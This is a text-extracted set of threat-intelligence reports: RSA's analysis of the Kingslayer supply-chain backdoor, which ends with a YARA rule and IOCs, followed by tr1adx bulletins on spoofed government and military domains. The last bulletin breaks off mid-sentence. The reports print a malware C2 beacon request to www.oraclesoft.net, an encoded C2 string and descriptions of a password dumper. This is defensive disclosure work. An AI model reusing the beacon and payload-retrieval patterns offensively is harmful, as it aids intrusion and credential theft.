+they have no link to the legitimate domain or company
+s important to note threat actors often use domains which look like well-known domains but
+they have no link to the legitimate domain or company
+UNEXPECTED FINDING
+We did not know what malware type might be using the domain www.oraclesoft[.]net, but through passive analysis, we identified and contacted an infected
+organization. Following some significant monitoring efforts by the cooperating infected subject, endpoint forensic analysis, and reverse engineering, RSA
+Research came to an unexpected conclusion. A software application used by
+system administrators to analyze Windows logs had been subverted at its distribution point with malicious, signed code, back in April 2015. The remaining
+sections of this paper will discuss how that conclusion was made.
+A BACKDOOR IN PRODUCT USED BY SYSADMINS
+Further research allowed RSA analysts to determine the origin of the offending
+software. For the purposes of this publication, we will refer to the unnamed
+software vendor as 
+Alpha
+. Alpha owns and operates a website designed to help
+Windows system administrators interpret and troubleshoot problems indicated
+in Windows event logs. The website also offers paid subscribers a license to a
+tool that helps with analyzing Windows event logs. It is this software, and its
+updates, that were subverted.
+RSA Research obtained a copy of the software suspected of containing the compromise. Figure 2 gives an overview of the general infection chain and C2.
+Figure 2 Kingslayer compromise infection chain
+For purposes of MSI downloads and for auto-updating the application, Alpha
+maintains multiple websites. During the time these particular websites were
+subverted, any user who attempted a new install or allowed their current
+version to auto-update (the default action) received the malicious version of
+the software. This action occurred via an .htaccess redirect on two of Alpha
+websites (both MSI download and automated update sites) that pointed to a
+website controlled by the malicious actors. This actor-controlled website hosted the subverted, signed versions of the application service executable, and MSI
+containing the Trojan. Once the install or update was complete, the software
+would attempt to load secondary payloads.
+RSA Research observed the legitimate application used a valid Authenticode
+signature issued by Alpha. At least three binaries, as well as an MSI software
+installation package, were determined to have been modified for malicious
+purposes using the Alpha application
+s original source code, and signed with the
+stolen code signing private key. RSA Research contacted Alpha, who subsequently divulged that their software packaging system was compromised and
+had delivered this compromised binary from 09 April 2015 to 25 April 2015.
+Complicating our initial attempt at dynamic analysis of the suspected backdoor
+in the RSA Research lab was the employment of an unusual diurnal beacon
+sleep algorithm.
+The The backdoor was configured to only beacon to www.oraclesoft[.]net
+between the hours of 1500 to 0000 (3 pm to midnight) UTC; a daily window of
+9 hours. It was also configured to only beacon four days a week; on Saturday,
+Tuesday, Thursday and Friday.
+The exact intent behind this temporal beaconing algorithm is unclear. More
+details on Kingslayer
+s backdoor sleep algorithm are found in the Kingslayer
+executable analysis in Appendix A.
+TARGETED TAKEDOWN AND SINKHOLING OF
+WWW.ORACLESOFT[.]NET
+Armed with the evidence that www.oraclesoft[.]net was being used strictly for
+malicious purposes, RSA Research sinkholed4 it to further inform our Kingslayer
+investigation.
+Within a few days of the sinkholing, RSA Research identified many of the
+infected organizations beaconing to our sinkhole and provided compromise
+notifications. One of the infected organizations, dubbed 
+Iota
+ for the purposes
+of this publication, subsequently engaged the RSA Incident Response (IR) team
+for remediation assistance.
+AN IRRESISTIBLE ENTICEMENT FOR KINGSLAYER
+ACTORS
+Although we do not know the exact reasons the Kingslayer actors chose to
+subvert Alpha
+s software product, the list of possible end-users of the application likely served as a powerful motivator. As stated earlier, a free application
+license was offered to subscribers of Alpha
+s event log information portal service. While we do not know how many of these subscribers took advantage of
+the free license and installed the application during the subversion window, it is
+logical that some did. Organizations who, at some time, subscribed to the event
+log portal are displayed on Alpha
+s website and include:
+ 4 major telecommunications providers
+ 10+ western military organizations
+ 24+ Fortune 500 companies
+ 5 major defense contractors
+ 36+ major IT product manufacturers or solutions providers
+ 24+ western government organizations
+ 24+ banks and financial institutions
+ 45+ higher educational institutions
+https://en.wikipedia.org/wiki/DNS_sinkhole
+ELEVEN AND A HALF WEEKS
+Because we have an incomplete picture of the successful Kingslayer target set,
+our timeline has some significant gaps. One important gap begging for explanation was the time between when Alpha
+s websites and software distribution
+were remediated on 26 April 2015, and the time when forensic evidence shows
+that Kingslayer visited the Iota network on 15 July 2015 (Figure 3).
+Figure 3 Kingslayer substantive event timeline
+One might surmise that if Iota was of particular interest to the Kingslayer
+actors, then less than eleven and a half weeks would pass before exploitation of
+their target network. One possible explanation is that Iota was not a preferred
+target at all. Rather, the eleven and a half weeks was spent by the actors exploiting potentially more lucrative targets than Iota. In effect, RSA Research proposes that Iota was an inconsequential target, passed over for some sufficient
+time for more important exploitation to be executed. This is why a supply chain
+attack is attractive to threat actors; a single compromise within the supply
+chain can yield numerous targets with minimal additional effort.
+Alpha issued a Security Notification on their website on 30 June 2016 and updated the notification on July 17, 2016 at RSA
+s request, following findings from
+further investigation on Iota
+s network compromised by Kingslayer.
+KINGSLAYER CONNECTIONS TO CODOSO AND
+SHELL_CREW
+The Kingslayer backdoor, discovered during an RSA Research 
+excavation
+ into
+common C2 infrastructure and malware bytecode, shares tactics previously observed used by Shell_Crew, an adversary RSA Research reported on in January
+2014 5 . The specific infrastructure overlapping with the Kingslayer campaign
+was tied to an adversary identified as Codoso by Palo Alto 6 and ProofPoint 7 in
+the first quarter of 2016, and the apparent operational infrastructure harvesting campaign that we call Schoolbell. We do not have high confidence that the
+Codoso perpetrators are directly related to the Shell_Crew activity encountered in 2013 and 2014, but we observed that they use common resources and
+tools. For one, Codoso and Shell_Crew use continuously evolving versions of
+malware for which no builder or source code has been found in the wild. These
+include older Derusbi variants, as well as the newly pressed Rekaf, TXER, PGV_
+PVID and Bergard as described by ProofPoint, PaloAlto, and in the Schoolbell
+blog post. This indicates that they have some common, restricted source for this
+distinctive malware. Consistent common malware bytecode, strings, and encoding routines were also noted by other researchers such as Proofpoint. These
+attributes are, thus far, unique to the activity groups and have allowed RSA
+Research and others to track malware clusters as they appear in the wild. For
+consistency we will attribute the activity in the Kingslayer campaign to Kingslayer, but acknowledge some risk of erroneously conflating it with other threat
+groups labeled variously by other researchers as Codoso, as well as historic
+activity that RSA Research has grouped together as Shell_Crew.
+The clearest operational links between Kingslayer and other recent campaigns
+attributed to Codoso are overlapping domains and IP addresses used for C2
+in 2015 and 2016. The Kingslayer C2 URL www.oraclesoft[.]net has temporal
+overlaps with identified infrastructure from seven other C2 domains and twelve
+unique C2 IP addresses associated with at least twenty four unique samples of
+malware attributed to Codoso by ProofPoint and Palo Alto (Figure 4, attached
+also in Annex), and described in the Schoolbell blogpost by RSA Research.
+https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf
+http://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/
+https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks
+Figure 4 How Kingslayer backdoor is linked to identified Codoso/Schoolbell campaign infrastructure
+(available for download in Annex 1)
+RECALLING ANOTHER SOFTWARE SUPPLY-CHAIN
+ATTACK
+The Kingslayer campaign shares similarities with another supply-chain attack.
+In the Monju Incident 8 the attackers subverted an otherwise legitimate software server by using a redirect to a different, unrelated website controlled by
+the actors. Like Kingslayer, the target system with the already installed software would attempt to get an update, but instead received a malicious payload
+purporting to be an update that consisted of the original application software
+bundled with a Trojan, instead of a legitimate update. In the Kingslayer attack,
+systems attempting to get updates to an already installed Windows operating
+systems log analysis software program were transparently redirected to a website controlled by the Kingslayer actors, in which the illegitimate website would
+download a subverted update executable. What may have differed from the
+Monju incident was the fact that while all software installations that attempted
+to update during the Kingslayer campaign received a malicious but otherwise
+functioning update, we do not know how many of them also received the secondary malware. It is this secondary malware that has not yet been found in the
+wild.
+We have no evidence to suggest the actors behind the Monju Incident and Kingslayer are related, other than they used one or more of the same tactics.
+http://www.contextis.com/documents/30/TA10009_20140127_-_CTI_Threat_Advisory_-_
+The_Monju_Incident1.pdf
+KINGSLAYER
+S MEMORY-RESIDENT BROTHER, THE
+K2 TROJAN
+RSA Research believes all of the particular Alpha application installations attempting to update during the 17 day Kingslayer subversion window received a
+malicious but otherwise functioning update. We do not know how many of them
+also received the secondary malware. Using passive analysis, RSA Research was
+able to identify the probable beaconing activity pattern used by the secondary
+malware. Like the Kingslayer backdoor loader, the secondary malware used the
+domain www.oraclesoft[.]net for C2. We have dubbed this secondary malware
+Kingslayer Two
+ or 
+ The beaconing pattern of K2 differed from the Kingslayer backdoor that loaded it. K2 beacons every ten minutes without a defined
+sleep period. Based on passively observed beacon activity from three different
+K2-infected systems, we believe K2
+s HTTP GET beacon pattern is a three to
+four digit load identifier that may represent the K2 malware load sequence
+assigned to each unique infection. This number appeared to be both unique, and
+static for each infected system. So 3423 in Table 1 might represent the 3,423rd
+unique system loaded with the K2 Trojan.
+Table 1 Kingslayer secondary malware K2 with possible load identifier highlighted in yellow
+GET /softs/updatecheck.html?3423&464336 HTTP/1.1
+User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
+Host: www.oraclesoft.net
+RSA Research also has insight into K2 Trojan
+s capabilities based on the artifacts left on a system that had K2 installed. (See Appendix B) From the forensic
+artifacts, RSA Research infers that K2
+s capabilities include:
+ running arbitrary Windows shell commands with SYSTEM-level privileges,
+ upload and download of files, and
+ execution of programs uploaded by the attackers.
+WHY SOFTWARE SUPPLY-CHAIN ATTACKS ARE HERE
+TO STAY
+Supply-chain attacks provide strategic advantages to attackers for several reasons. First, they provide one compromise vector to multiple potential targets.
+Second, supply chain exploitation attacks, by their very nature, are stealthy and
+have the potential to provide the attacker access to their targets for a much longer period than malware delivered by other common means, by evading traditional network analysis and detection tools. And finally, software supply chain
+attacks offer considerable 
+bang for the buck
+ against otherwise hardened
+targets9 .
+https://www.ncsc.gov.uk/content/files/protected_files/guidance_files/Cyber-security-risks-inthe-supply-chain.pdf
+In the case of Kingslayer, this especially rings true because the specific system-administrator-related systems most likely to be infected offer the ideal
+beachhead and operational staging environment for systematic exploitation of
+a large enterprise.
+Subverting an application used almost exclusively by enterprise Windows
+system administrators gives the perpetrators direct access to the most sensitive parts on an organization
+s network via a workstation or server used regularly by the 
+king of the network.
+ A system administrator
+s workstation and
+cache of credentials invariably provides the most access of any system on an
+enterprise network. In our experience, the credentials maintained by system
+administrators usually enable extensive access to internal and external network
+infrastructure of even the most sensitive organization
+s enterprise. RSA Research observed Kingslayer installed on the workstation of the senior systems
+administrator at one organization and on the domain controllers of another
+organization. We assess that installations of the targeted application on workstations or servers with unprivileged users would be exceptions, rather than the
+rule, because the purpose of the targeted log analyzer software is to be used by
+system, security, and other privileged administrators.
+SOFTWARE VENDORS, AND SYSADMINS ON NOTICE
+Subversion of an application preferentially used by enterprise system or security administrators provides an advanced threat group a nearly unprecedented
+best bang for the buck.
+ There is no need to craft phishing emails, or sort the
+chaff from successful but unfruitful malware infections. It would not be hard to
+posit that Kingslayer might serve as a template for other attacks on otherwise
+hardened enterprise networks. This should put the developers of applications
+and software aimed for exclusive use by enterprise network administrators on
+notice. Although the following are good tenants of all software vendors, they
+are especially important when the application in question would disproportionality be used by administrators of a network. These include:
+ File integrity monitoring
+ Secure (dedicated or virtually private) hosting
+ Validated time stamping of digital signatures
+ Secure storage of and deployment of code-signing keys, ideally employing a
+High Security Module (HSM)
+ Comprehensive network and endpoint visibility of development environment
+ Breach disclosure policy that ensures timely incident notification to affected
+customers
+Enterprise network administrators should take heed that they are perhaps
+the most important and pivotal target for advanced threats interested in what
+might be found on those enterprise networks10 . Network admins should not
+exempt their own systems, or systems to which only they have access, from
+network and endpoint visibility. Sysadmins should also contribute to and follow
+a change control policy that evaluates the software vendor and the software
+itself for potential risk, prior to installing it11 .
+HOW WAS THE KINGSLAYER INVESTIGATION
+INFORMED?
+The analysis that informed the Kingslayer campaign investigation is described
+in general terms as iterative, using 
+many and any friendly means
+ employed by
+a multi-disciplinary team. While characterizing the purpose, impact and extent
+of the malicious activity perpetrated by the Kingslayer campaign operators,
+RSA Research provided dozens of hours of advanced incident and analysis
+support to infected organizations identified by sinkholing and passive means.
+Sometimes our support was in exchange for threat intelligence artifacts left
+behind by the actors. At other times we provided advice and expertise with the
+understanding that the infected organization would not or could not provide
+any information in return. We collaborated with many colleagues in the security industry, reached out to new partners as well as called upon the extensive
+capabilities of SecureWorks, a Dell Technologies company.
+DETECTION OF KINGSLAYER, AND THE NEXT SOFTWARE SUPPLY CHAIN ATTACK
+Techniques deployed by industry-wide antivirus and endpoint prevention technologies are decidedly poorly equipped for detecting, much less preventing, a
+remote code-loading backdoor inserted into what would otherwise be a legitimate software product. This is exactly what the Kingslayer actors did in their
+campaign.
+In our experience, signature or behavior-based antivirus is unable to differentiate between a network-enabled feature and a backdoor in the product. In fact,
+RSA Research first identified the Kingslayer backdoor installed on an enterprise
+system that employed next generation antivirus. The antivirus failed to detect
+anything, even when it appeared the backdoor had downloaded and loaded the
+secondary malware into memory, and opened connections for C2.
+http://www.slideshare.net/harmj0y/i-hunt-sys-admins-20
+http://csrc.nist.gov/scrm/documents/briefings/Workshop-Brief-on-Cyber-Supply-Chain-BestPractices.pdf
+RSA NETWITNESS
+ ENDPOINT EDR TOOL
+Compare this antivirus failure with RSA NetWitness
+ Endpoint, an Enterprise
+Detection and Response (EDR) tool that is available to RSA customers and
+is notably used by the RSA IR Team in their customer engagements. On a lab
+Windows system, RSA Research recreated the Kingslayer backdoor installation, then deployed RSA NetWitness Endpoint. In Figure 5, we see that RSA
+NetWitness Endpoint identified an instance of [FLOATING_CODE], revealing
+that the backdoored 
+Service.exe
+ process established multiple connections.
+[FLOATING_CODE] identifies a block of code present in a process private
+executable address space, as opposed to a library properly loaded from disk.
+Floating code is missing a normal DLL header. In otherwise, legitimate software
+with a backdoor such as that employed by Kingslayer, the network connections
+were established from that allocated block of code, which is suspicious.
+Figure 5 RSA NetWitness Endpoint detection of the Kingslayer backdoor
+In Figure 6, a threat hunter behind the RSA NetWitness Endpoint console dug
+into the network details tab, to reveal the multiple connections to a suspicious
+domain.
+Figure 6 RSA Netwitness Endpoint details the network connections kicked off by Kingslayer
+s floating code
+RSA NETWITNESS PACKETS AND LOGS
+While RSA NetWitness Endpoint will flag the floating code of Kingslayer, a
+method to detect the network traffic of a backdoor compromise like Kingslayer
+with network packet visibility is also important. Consider that the RSA IR team
+found a Kingslayer-compromised organization 
+enjoyed
+ multiple weeks of static compromise before the actor(s) arrived on scene to begin interactive lateral
+exploitation. Early detection of compromise, then, can be key to dramatically
+reducing business risk.
+The Event Stream Analysis (ESA) capability in RSA NetWitness technology was
+designed by researchers in the RSA Data Sciences team after analyzing billions
+of packets of known C2 activity. ESA is the statistical threat hunting machine
+that never goes to sleep, using machine learning to calculate scores on a very
+large number of HTTP sessions and domains. Indeed, even the unusual beaconing patterns of the Kingslayer Trojan were flagged by the ESA as Suspected
+C&C (Figure7).
+Figure 7 ESA identifies Kingslayer beaconing as Suspected C&C
+Even without the interactive C2 of an 
+operator behind the keyboard
+ that
+might trigger other alerts, consider how a Security Operations Center will be
+alerted to suspicious activity, and stop the compromise before an actor starts
+controlling assets inside the network. For more details on how to hunt using
+RSA NetWitness capabilities such as ESA, refer to the RSA NetWitness hunting
+guide12.
+https://community.rsa.com/docs/DOC-62341
+HOW TO INVESTIGATE IF YOU MIGHT HAVE BEEN
+COMPROMISED BY KINGSLAYER
+An enterprise network finding that the subverted application was installed
+prior to and/or updated during the compromise window of 09-25 April 2015,
+should initiate an investigation. While prevention of compromise through Kingslayer might not have been possible without the most stringent change control
+policy and thorough software analysis and auditing, an investigation of what
+may have been done by Kingslayer actors should be initiated. It is possible that
+the actors have established and still maintain avenues of access, especially on
+high-value target networks.
+How can you tell if a system has had this subverted software installed? The
+Yara signature included in the Kingslayer report annex, combined with a
+Yara-capable EDR tool, such as RSA NetWitness Endpoint, will facilitate a rapid
+enterprise survey for Kingslayer artifacts. RSA Research
+s Yara signature will
+detect artifacts from the stolen code-signing key used to sign DLLs and EXEs in
+the Kingslayer backdoor. While this code-signing key was also used to sign some
+limited number of legitimate software versions, any hits with this signature
+warrants investigation. Systems and Windows networks found with any of the
+Indicators of Compromise (IOCs) in the Kingslayer IOC list, should be analyzed
+for compromise. Enterprise investigation should focus on identifying any ongoing C2 channels and activity, and an assessment of business risk/loss should a
+breach be indicated.
+CONCLUSION
+RSA Research observed sustained activity from an advanced threat actor group
+over 18+ months, tied to campaigns attributed to Codoso. There was an evolutionary deployment of tools characterized by very low (if any) coverage by
+antivirus vendors. In the course of our research and disruption of this malicious
+activity, RSA was able to uncover an advanced strategic targeting campaign
+involving a software supply chain attack aimed at sysadmins of large enterprises, dubbed Kingslayer. While the entire target set of Kingslayer is unknown,
+RSA Research expects the information contained in this report to be useful
+for network defenders in determining if they have been Kingslayer subjects of
+compromise. This may not be the last software supply chain attack from these
+or related actors. We believe Kingslayer, with its inherent enterprise breach
+efficacy and long interlude before discovery, could serve as a template for
+future strategic network compromises. We illustrated that it takes keen visibility and awareness, and the right tools, to discover advanced threat activity like
+Kingslayer. Finally, organizations need to have the ability to detect and respond
+to the next supply chain attack, before it has an impact on their business or
+mission.
+ACKNOWLEDGEMENTS
+RSA Research would like to thank Chuck Helstein, Darien Huss of ProofPoint,
+Luis Garcia of luisangelgarcia.com, MS-ISAC13 and CCIRC14.
+https://msisac.cisecurity.org
+https://www.publicsafety.gc.ca/cnt/ntnl-scrt/cbr-scrt/ccirc-ccric-eng.aspx
+ANNEX 1: KINGSLAYER INDICATORS OF
+COMPROMISE (IOCS)
+Download available on rsa.com 15
+Yara Signature:
+rule Kingslayer_codekey
+meta:
+author = 
+RSA Research
+date = 
+03 February 2017
+hash2 = 
+f97a2744a4964044c60ac241f92e05d7
+hash3 = 
+76ab4a360b59fe99be1ba7b9488b5188
+hash4 = 
+1b57396c834d2eb364d28eb0eb28d8e4
+strings:
+$val0 = { 31 33 31 31 30 34 31 39 33 39 31 39 5A 17 0D 31 35 31 31 30 34 31
+39 33 39 31 39 5A }
+$ven0 = { 41 6C 74 61 69 72 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73 }
+uint16(0) == 0x5A4D and $val0 and $ven0
+APPENDIX A: EVENT LOG ANALYZER APPLICATION
+SERVICE EXECUTABLE ANALYSIS
+Table 2 shows the basic properties of the Kingslayer backdoored service executable
+Table 2 Malware file properties
+Figure 8 shows the valid Authenticode digital signature of the service executable
+Figure 8 Valid Authenticode signature
+The Trojan functionality is initiated when the [Redacted]Service is started. The
+[Redacted]ServiceMailCheck class is instantiated as an object and the InitCheck() Method is called. Figure 9 shows the code responsible for the InitCheck().
+Figure 9 InitCheck() method
+The [Redacted]ServiceMailCheck class sets a mailID string to a base64 encoded
+value. The InitCheck() Method then calls the public Method Run in a new thread
+(Figure 10).
+Figure 10 Encoded string
+The public Method Run checks the time and uses another encrypted string to
+set localization. This decryption routine, detailed later, decrypts the encrypted
+string to 
+Tokyo Standard Time
+ and will only run on Saturday, Tuesday, Thursday and Friday, in a nine-hour window prior to midnight. The malware is hard
+coded to sleep 20 minutes (2 different 10 minute windows) between beacons
+(Figure 11).
+Figure 11 Beacon timing and interval
+The malware will decrypt the previously set MailID variable 
+Ex9TAVIbXghSXAAFSVBLRE8QWU8QVQ8fQQINT0FJSklLEkQeDFEfQA==
+). Figure 12
+depicts the decryption routine.
+Figure 12 Decryption routine
+The routine will initially base64 decode the MailID variable, and then hash the
+decoded data with the MD5 hashing algorithm. It will then set a seed byte based
+on the first byte of the decoded text. Each byte of the text is XOR decrypted
+against its respective byte in the MD5 sum, and then further XOR decrypted by
+the seed byte. The python script (Table 3) decodes encoded variables.
+Table 3 Python String decrypter to decode Kingslayer
+s encoded variables
+This script will output the decoded C2 URL. The encoded data from this sample
+will decode to http://www.oraclesoft[.]net/mailcheck.png (Figure 13). This URL
+matched the traffic that was observed in the beaconing from Iota to the RSA
+sink hole.
+Figure 13 Beacon matches decrypted URL
+The LoadImage() Method creates a new thread and calls the ProcessThread()
+Method, passing the URL and password (Figure 14).
+Figure 14 New thread for beacon
+The ProcessThread() Method connects to the URL and builds the HTTP request
+as observed in network traffic. This function then checks to see if the gzip HTTP
+response header is present and decompresses the payload. It then sends the
+byte string to an unpacking function which writes the file to disk. This activity is
+similar to that observed by a ProofPoint analyst in a post on Bergard and Codoso. The ProofPoint analyst observed the Bergard infection to 
+receive instructions from its C2 to retrieve a PNG file (Fig. 15) containing an encoded PlugX
+payload (md5: 5c36e8d5beee7fbc0377db59071b9980)16.
+We do not know if the K2 Trojan decoded from the 
+mailcheck.png
+ image file
+discussed in the main body of this research paper was PlugX, or some other
+Trojan/RAT.
+https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks
+Figure 15 Unpacking method employed to load 
+The malware then checks the downloaded and unpacked data to verify the first
+two bytes are decimal 77 90 (0x4D5A). The malware performs these checks to
+ensure the data is a valid executable binary (Figure 16).
+Figure 16 K2 Trojan magic check
+CloudClimb then calls the RunByML() method which checks if the file is a valid
+executable and runs it, then writes the status to the console (Figure 17). Because this software is running as a service, it is running in Windows Session 0;
+therefore the console is hidden from the user.
+Figure 17 Additional payload execution
+There exists an alternate path and URL to this DLL loading functionality. In
+[Redacted]Service.AnalyzeLogs.Execute() email sending functionality there is
+an unencrypted URL and password (Figure 18).
+Figure 18 Alternate URL in Kingslayer backdoor
+The registration date of the domain (Table 4) contained in this URL coincides
+with the timeframe of the known compromise of Alpha
+s source code and websites in late March, 2015.
+Table 4 2015 timekard.com registration details
+Beaconing to this domain has not been observed and RSA Research believes
+this code will only execute if the application is configured to send email reports
+on logs. In mid-2016 the domain registration for timekard[.]com expired and
+was registered by a legitimate entity having nothing to do with the malicious
+activity described in this investigation.
+APPENDIX B: SELECT FORENSIC FINDINGS FROM
+AN ENTERPRISE ADMIN
+S MACHINE INFECTED WITH
+KINGSLAYER AND THE K2 SECONDARY MALWARE
+The machine investigated was used by Iota
+s principal Windows system administrator, and had the backdoored event log analysis service installed on 22 April
+2015 at 19:07:18 UTC (Table 5), which was in the known subversion window of
+Alpha
+s websites.
+Table 5 Event log analysis application service installation
+The SYSTEM hive contains the Application Compatibility Cache entries. These
+entries track executable files for compatibility purposes between Windows
+upgrades. Several suspicious entries (Table 6) were discovered during the host
+triage. It is important to note that the timestamps on these entries are the $SI
+MTIME of the file and are not reliable indicators.
+Table 6 Suspicious ShimCache entries
+ANALYSIS OF BP.EXE
+In this same directory an executable was discovered that will find, decrypt and
+display passwords saved in Chrome and Firefox (Table 7). This file had an $FN
+CTIME of 17 August 2015 12:26:20.292 and did not appear to be executed as it
+was not in the shimcache. The file was owned by the Windows security identifier (SID) S-1-5-32-544, the SYSTEM account. This matches with the owner of
+the running backdoored event log analysis service, which also runs as SYSTEM.
+Table 7 Password dumper
+The password dumper starts by gathering system information about the current logged-on user in order to discover the individual user paths such as C:\
+Users\Usera\AppData. It then begins reading the SQLlite database files and
+decrypting saved passwords.
+Figure 19 SQLite database file path
+The sample has the SQLite libraries statically linked at compile time, which accounts for the large size. It then leverages these functions to query the SQLite
+database to retrieve the encrypted stored passwords.
+Figure 20 Selecting encrypted passwords
+Sub_401BA9 leads to a series of calls to get the logged on user, impersonate
+that user in order to open the Windows key store to retrieve the encryption
+keys and, finally, decrypts the user
+s stored passwords.
+Figure 21 Stored password decryption
+If the sample was successful, it will print the decrypted URL, Username and
+Password to the terminal.
+Figure 22 Terminal output of password dumper
+After the sample has finished with Chrome passwords it moves on in a similar
+fashion to stored Firefox passwords and prints them to the terminal.
+Figure 23 Firefox output
+[tr1adx]: Intel
+tr1adx.net/intel/TIB-00003.html
+tr1adx Intelligence Bulletin (TIB) 00003: Bear Spotting Vol. 1: Russian Nation State Targeting of Government and Military Interests
+[Published: January 9, 2017] [Last Updated: January 15, 2017]
+Summary
+The tr1adx team performs on-going research into Threat Actors, irrespective of their motivation, provenance, or targets.
+tr1adx Intelligence Bulletin #00003 shares intel on Russian Nation State Cyber Activity targeting Government and Military
+interests around the world. Please note this is an active bulletin, meaning we will occassionally add intel and information to
+this bulletin as we uncover new campaigns, targets or actors which meet the criteria.
+tr1adx's research was able to identify targets in various countries and/or regions, including:
+Turkey
+Japan
+Denmark
+United States
+Venezuela
+India
+NATO Affiliated Targets
+United Nations
+Analysis
+TTP's associated with Russian Nation State Threat Actors (Civil and Military Intelligence/GRU/APT28/APT29) allow us to
+track these Threat Actors' activities with a high/moderate degree of confidence, and follow their trail of breadcrumbs through
+past, present, and future campaigns. While, for operational security reasons, we cannot go into detail on our techniques,
+practices, and sources for intelligence collection and analysis, we can say that the majority of the information published in
+this bulletin is based on in-depth research leveraging available Open Source Intelligence (OSINT) sources. In a few cases,
+intel data has been enriched by, derived from, and collected through other non-OSINT means.
+Indicators of Compromise
+Added on 2017-01-15:
+Domain
+Creation
+Date
+Campaign
+Status
+Targeted Org
+Targeted
+Country
+Targeted
+Domain
+Analyst Notes (and
+other fun anecdotes)
+dpko[.]info
+201610-29
+Unknown
+United
+Nations (UN)
+Department of
+Peacekeeping
+Operations
+(DPKO)
+United
+States
+un.org
+UN DPKO website
+unausanyc[.]com
+201512-02
+Unknown
+United
+Nations
+Association of
+New York
+United
+States
+unanyc.org
+Identified phishing
+originating from this
+domain targeting the
+Venezuelan
+government
+(minpal.gob.ve)
+ausa[.]info
+2015-
+Inactive
+Association of
+United
+ausa.org
+ESET identified
+ausa[.]info
+201507-19
+Inactive
+Association of
+the United
+States Army
+(AUSA)
+United
+States
+ausa.org
+ESET identified
+similar indicator
+(ausameetings[.]com)
+in their APT28/Sednit
+report.
+mea-gov[.]in
+201502-20
+Inactive
+Ministry of
+External
+Affairs (MEA)
+India
+mea.gov.in
+mfa-news[.]com
+201504-30
+Inactive
+Ministry of
+Foreign Affairs
+(MFA) Fake
+news site
+defenceinform[.]com
+201505-05
+Inactive
+MDefense
+Related Fake
+news site
+middleeastreview[.]com
+201504-15
+Inactive
+Middle East
+Review of
+International
+Affairs
+(MERIA)
+United
+States
+rubincenter.org
+middleeasterview[.]com
+201504-15
+Inactive
+Middle East
+Review of
+International
+Affairs
+(MERIA)
+United
+States
+rubincenter.org
+foreign-review[.]com
+201504-14
+Inactive
+Foreign Affairs
+Fake news
+site
+Added on 2017-01-09:
+Domain
+Creation
+Date
+Campaign
+Status
+Targeted Org
+Targeted
+Country
+Targeted
+Domain
+Analyst Notes (and other
+fun anecdotes)
+afceaint[.]org
+201611-02
+Inactive
+Armed Forces
+Communications
+and Electronics
+Association
+(AFCEA)
+United
+States
+afcea.org
+Identified 2 related
+indicators, one of which
+ties in to another
+campaign:
+ns1[.]afceaint[.]org
+(216.155.143.28)
+ns2[.]afceaint[.]org
+(216.155.143.27)
+af-army[.]us
+201610-17
+Active
+Army / Air Force
+United
+States
+army.mil /
+af.mil
+The af-army[.]us domain
+was seen resolving to
+167.114.35.70, which is
+listed as one of the IP
+listed as one of the IP
+addresses in the
+GRIZZLY STEPPE report.
+webmailmil[.]dk (*)
+201503-25
+Inactive
+Defence
+Command
+Denmark
+webmail.mil.dk
+Domain was hosted on
+216.155.143.27, also
+seen in AFCEA campaign.
+Seriously? We know it's
+been 2 years and the
+Denmark Defense
+campaign may not have
+been publicized but come
+on guys... #BadOpsec!
+natonevvs[.]org
+201610-05
+Unknown
+North Atlantic
+Treaty
+Organization
+(NATO) Affiliates
+jimin-jp[.]biz
+201612-27
+Active
+Liberal
+Democratic
+Party of Japan
+Japan
+jimin.jp
+Per our Japanese Gov't
+sources, domain has
+been observed in targeted
+malware.
+jica-gojp[.]biz
+201612-27
+Active
+Japan
+International
+Cooperation
+Agency
+Japan
+jica.go.jp
+Per our Japanese Gov't
+sources, domain has
+been observed in targeted
+malware.
+mofa-gojp[.]com
+201612-27
+Active
+Ministry of
+Foreign Affairs
+Japan
+mofa.go.jp
+Per our Japanese Gov't
+sources, domain has
+been observed in targeted
+malware.
+turkeymia[.]com
+201612-20
+Active
+Ministry of
+Interior Ankara
+(MIA)
+Turkey
+mia.gov.tr
+Spoofed domain points to
+legitimate MIA domain:
+icisleri.gov.tr
+turkeyicisleri[.]com
+201612-20
+Active
+Ministry of
+Interior Ankara
+(MIA)
+Turkey
+icisleri.gov.tr
+Spoofed domain points to
+legitimate MIA domain:
+icisleri.gov.tr
+(*) Legitimate organization appears to have claimed control over the spoofed/mimicked domain.
+Indicators of Compromise (IOCs) [Downloadable Files]:
+TIB-00003 Domain IOCs [TXT]
+If a log search for any of these Indicators of Compromise returns positive hits, we recommend you initiate appropriate cyber
+investigative processes immediately and engage Law Enforcement where appropriate.
+[tr1adx]: Intel
+tr1adx.net/intel/TIB-00002.html
+tr1adx Intelligence Bulletin (TIB) 00002: The "Digital Plagiarist" Campaign: TelePorting the Carbanak Crew to a New Dimension
+[January 1, 2017]
+Summary
+Over the past few months, the tr1adx team has been tracking a Threat Actor which we codenamed "TelePort Crew".
+We believe the "TelePort Crew" Threat Actor is operating out of Russia or Eastern Europe with the group's major motivations appearing to be financial in
+nature through cybercrime and/or corporate espionage.
+We have dubbed the group's latest campaign "Digital Plagiarist" for its signature practice of mirroring legitimate sites (using Tenmax's TelePort Pro and
+TelePort Ultra site mirroring software) onto similarly named domains, on which the TelePort Crew would host and serve up malware laden Office
+documents.
+The Threat Actor would then craft specific spear phishing emails to direct their targets to visit the malicious web sites and open the malware laden
+documents.
+Corerrelation of the TelePort Crew's TTPs and infrastructure leads us to believe the group is closely affiliated with, and may in fact be, the Carbanak
+Threat Actor.
+At this time, we are able to disclose that we have seen activity associated with the "Digital Plagiarist" campaign in the following countries:
+Australia
+United Kingdom
+United States
+Ireland
+Switzerland
+Bahamas
+Focused Industries for the "Digital Plagiarist" campaign include:
+Hospitality
+Restaurant Chains
+Food Production
+Nutritional Supplements
+Agriculture / BioTechnology
+Marketing / Public Relations
+Manufacturing
+Logistics
+Software Development (including Point-of-Sale solutions)
+Utilities & Electric
+Government
+Analysis
+Activity attributed to the "Digital Plagiarist" campaign first came on tr1adx's radar in the fall of 2016, when the TelePort Crew threat actor was seen registering a
+number of domain names which raised flags due to the suspicious nature of the domain names, attributes associated with the domain registration, and content
+served on these domains. Further research indicates that the "Digital Plagiarist" campaign has been active since at least July 2016, and possibly earlier, with
